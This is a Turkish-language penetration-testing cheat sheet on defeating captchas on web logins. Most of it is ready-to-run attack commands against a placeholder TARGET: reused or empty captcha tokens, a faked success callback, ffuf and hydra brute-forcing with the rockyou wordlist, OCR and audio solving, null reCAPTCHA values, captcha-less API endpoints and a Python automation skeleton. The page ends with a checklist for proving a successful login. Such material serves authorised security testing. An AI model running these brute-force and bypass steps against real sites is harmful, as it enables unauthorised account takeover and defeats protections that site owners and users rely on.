Captcha Bypass
web auth
Captcha, brute force ve otomasyonu yavaşlatmak içindir. Pratikte sık kırılır: istemci tarafı doğrulama, token yeniden kullanımı, ses/OCR, eksik sunucu kontrolü veya bypass parametreleri.
Metodoloji
Section titled “Metodoloji”-
Captcha akışını yakala — hangi parametreler sunucuya gidiyor?
-
Token’ı yeniden gönder / boş bırak / eski token kullan.
-
İstemci JS doğrulamasını devre dışı bırakıp isteği direkt at.
-
OCR/ses veya üçüncü taraf çözücü ile otomasyonu bağla.
Yeniden kullanım / boş token
Section titled “Yeniden kullanım / boş token”curl -sk https://TARGET/login -d 'user=admin&pass=Password1&captcha='curl -sk https://TARGET/login -d 'user=admin&pass=Password1&captcha=AAAA'POST /login HTTP/1.1Host: TARGETContent-Type: application/x-www-form-urlencoded
user=admin&pass=Password1&g-recaptcha-response=Aynı captcha token'ını 100 istekte tekrar kullan — sunucu tek kullanımlık mı?İstemci tarafı doğrulama
Section titled “İstemci tarafı doğrulama”// DevTools: captcha success callback'i elle çağıronCaptchaSuccess('fake-token');# JS'de disabled submit butonunu açıp formu gönderdata-sitekey var ama sunucu token doğrulamıyorsa captcha dekoratiftirRate-limit yokluğu
Section titled “Rate-limit yokluğu”ffuf -u https://TARGET/login -X POST -d 'user=admin&pass=FUZZ&captcha=x' -w rockyou.txt -mc 200,302 -rate 20hydra -l admin -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^&captcha=:F=Invalid'OCR / ses
Section titled “OCR / ses”tesseract captcha.png stdoutcurl -sk https://TARGET/captcha.png -o captcha.png# audio captcha → speech-to-textffmpeg -i captcha.wav -ar 16000 out.wavimport pytesseractfrom PIL import Imageprint(pytesseract.image_to_string(Image.open('captcha.png')))reCAPTCHA / hCaptcha tuhaflıkları
Section titled “reCAPTCHA / hCaptcha tuhaflıkları”g-recaptcha-response=nullg-recaptcha-response[]=g-recaptcha-response=undefined# Alternatif endpoint: /api/login captcha istemiyor olabilircurl -sk https://TARGET/api/v1/login -H 'Content-Type: application/json' -d '{"user":"admin","pass":"Password1"}'Mobil API veya eski SOAP endpoint'i captcha'sız kalmış olabilirOtomasyon iskeleti
Section titled “Otomasyon iskeleti”import requestss = requests.Session()r = s.get('https://TARGET/login')# captcha çöz / bypass ets.post('https://TARGET/login', data={'user':'admin','pass':'Password1','captcha':'BYPASS'})print(s.cookies)Checklist
Section titled “Checklist”[ ] Boş / sahte / tekrar token denendi[ ] Captcha'sız alternatif endpoint arandı[ ] İstemci-only doğrulama elendi veya suistimal edildi[ ] OCR/ses veya bulk brute bağlandı[ ] Başarılı login kanıtlandı